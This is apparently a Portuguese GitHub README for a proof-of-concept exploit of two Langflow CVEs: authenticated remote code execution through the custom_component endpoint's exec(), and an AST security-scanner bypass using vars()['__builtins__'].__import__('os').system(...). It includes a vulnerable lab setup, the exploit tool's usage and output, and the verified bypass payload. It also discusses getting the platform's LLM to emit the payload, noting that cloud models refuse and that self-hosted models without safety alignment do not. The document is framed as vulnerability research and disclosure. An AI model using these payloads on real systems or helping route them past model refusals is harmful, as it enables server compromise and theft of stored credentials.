oscar-collado/langflow-cve-2026-17633-pocPoC para CVE-2026-17633 — RCE autenticado no IBM Langflow OSS 1.0.0–1.10.3 através do endpoint custom_component. Inclui pesquisa de bypass do scanner AST do CVE-2026-17632.
Apenas para fins educacionais. Use somente contra sistemas que você possui ou tem autorização escrita explícita para testar.
Langflow é uma plataforma open-source low-code para construir aplicações com LLM e fluxos de trabalho de agentes de IA. Ela fornece uma interface visual de arrastar e soltar onde os usuários podem conectar componentes — modelos, retrievers, ferramentas, memória, código Python personalizado — em fluxos executáveis. Seu recurso de Componente Personalizado permite que os usuários definam o comportamento do componente diretamente em Python, que é a superfície de ataque explorada nesta pesquisa.
Em 5 de agosto de 2026, a IBM publicou um Boletim de Segurança divulgando um lote de vulnerabilidades que afetam as versões 1.0.0 a 1.10.3 do Langflow OSS. O boletim completo está disponível em:
Esta pesquisa foca em dois CVEs desse lote:
| CVE | CVSS | Resumo |
|---|
| CVE-2026-17633 | 8.5 HIGH | RCE autenticado via /api/v1/custom_component — código passado diretamente para exec() sem verificação de segurança |
| CVE-2026-17632 | 8.8 HIGH | Bypass do scanner de segurança AST — código Python elaborado passa por scan_code_security() com is_safe: True enquanto executa comandos arbitrários do sistema operacional |
Ambos os CVEs foram descobertos independentemente por meio de análise estática do código-fonte do Langflow 1.10.3.
Esta pesquisa foi conduzida em um ambiente de laboratório isolado contra uma instância auto-hospedada do Langflow. Todas as descobertas são divulgadas de forma responsável. Não use isso contra sistemas sem autorização escrita explícita.
O endpoint POST /api/v1/custom_component no Langflow OSS 1.0.0–1.10.3 aceita código Python arbitrário de um usuário autenticado e o executa no lado do servidor por meio da função exec() do Python. Diferentemente do caminho do Agentic Assistant, este endpoint não chama scan_code_security() nem qualquer outro validador de conteúdo baseado em AST antes da execução. Qualquer usuário autenticado pode obter Execução Remota de Código com uma única requisição HTTP.
CWE-94 — Controle Impróprio da Geração de Código
/api/v1/custom_componentFonte: langflow/api/v1/endpoints.py — linha 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Quando LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (comum em implantações de produção), o código vai diretamente para build_custom_component_template() com zero inspeção de conteúdo.
prepare_global_scope() e ast.ExprA cadeia de execução leva a create_class() em lfx/custom/validate.py, que chama prepare_global_scope() antes de compilar e executar a classe:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Uma chamada de função simples no nível do módulo (por exemplo, os.system(...)) é um nó ast.Expr — ele não é correspondido pela verificação isinstance e é silenciosamente descartado. No entanto, o código colocado dentro do corpo da classe faz parte do nó ClassDef e é executado integralmente quando a classe é definida via exec() dentro de compile_class_code().
Esta é a percepção-chave: o payload deve estar dentro do corpo da classe, não no nível do módulo.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Nenhum LLM necessário. Nenhum bypass de scanner necessário. Uma única requisição HTTP.
| Requisito | Valor |
|---|---|
| SO hospedeiro | Kali Linux (testado) |
| Docker | CE 5.x + plugin Compose v2 |
| Imagem do Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 GB mínimo para o contêiner |
Crie um diretório para o laboratório e salve o seguinte como docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Inicie o laboratório:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Faça login em http://127.0.0.1:7860 com as credenciais de superusuário definidas acima. O token de acesso é armazenado no cookie do navegador access_token_lf. Alternativamente, recupere-o via API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copie o valor de access_token da resposta.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
Saída esperada:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
Saída esperada:
uid=1000(user) gid=0(root) groups=0(root)
Nota: O Langflow 1.10.3 é executado como
uid=1000(user)dentro do contêiner, não como root. No entanto, dentro do contêiner o usuário pertence agid=0(root), e a partir daí o movimento lateral para o host ou serviços conectados (chaves de API do provedor de LLM, credenciais de banco de dados, tokens de vector store) é o cenário realista de pós-exploração.
Ao analisar o código-fonte do Langflow 1.10.3 para entender o CVE-2026-17633, o caminho de código do Agentic Assistant também foi examinado. Isso levou à descoberta de scan_code_security() em langflow/agentic/helpers/code_security.py — um scanner de segurança baseado em AST aplicado ao código de componente gerado por LLM antes de chegar a validate_component_runtime().
O scanner é sofisticado: ele rastreia aliases de importação, detecta importações com curinga, lida com reflexão getattr() e bloqueia uma lista abrangente de chamadas perigosas (os.system, subprocess, exec, eval, __import__, etc.).
Uma análise cuidadosa de DANGEROUS_CALLS revelou uma entrada ausente:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() está ausente. No contexto de exec() de create_class(), vars() retorna exec_globals, que contém importlib herdado dos globais do módulo de validate.py. Além disso, ["__builtins__"] é um acesso por subscrito (ast.Subscript), não um acesso por atributo (ast.Attribute), então visit_Attribute() e DANGEROUS_DUNDER_ATTRS nunca o inspecionam.
is_safe: TrueO seguinte payload passa por scan_code_security() com zero violações:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
Verificado diretamente contra o scanner dentro do contêiner:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
Saída:
is_safe: True
violations: ()
A execução do RCE também foi confirmada executando o bypass diretamente no mesmo contexto de exec() que create_class() usa:
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
Saída em /tmp/pwned.txt:
uid=1000(user) gid=0(root) groups=0(root)
O CVE-2026-17632 é explorado através do caminho do Agentic Assistant:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
O mecanismo de entrega exige que o LLM reproduza o payload de bypass literalmente em sua resposta. Na prática, LLMs hospedados na nuvem com filtros de segurança de conteúdo (OpenAI, Anthropic, a maioria dos modelos gratuitos do OpenRouter) se recusam a gerar payloads contendo __import__, os.system ou padrões semelhantes, mesmo quando enquadrados como pesquisa de segurança ou documentação.
Esta é uma restrição realista também na exploração do mundo real: um atacante visando uma instância do Langflow com um provedor de LLM na nuvem configurado enfrentaria o mesmo filtro de conteúdo. A vulnerabilidade é totalmente explorável contra implantações que usam modelos auto-hospedados (Ollama, vLLM, LM Studio) ou modelos privados ajustados sem alinhamento de segurança — que representam uma porção significativa das implantações empresariais do Langflow.
O bypass do scanner AST (is_safe: True) e o RCE via exec() são confirmados independentemente. A cadeia de entrega de ponta a ponta via LLM é o item de pesquisa em aberto para o CVE-2026-17632.
Pesquisa conduzida no Langflow OSS 1.10.3 em um ambiente de laboratório isolado. Boletim de Segurança da IBM: https://www.ibm.com/support/pages/node/7282646